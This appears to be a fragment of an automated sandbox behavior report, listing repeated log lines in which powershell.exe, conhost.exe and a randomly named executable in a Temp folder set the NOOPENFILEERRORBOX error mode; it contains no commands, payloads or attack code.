Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
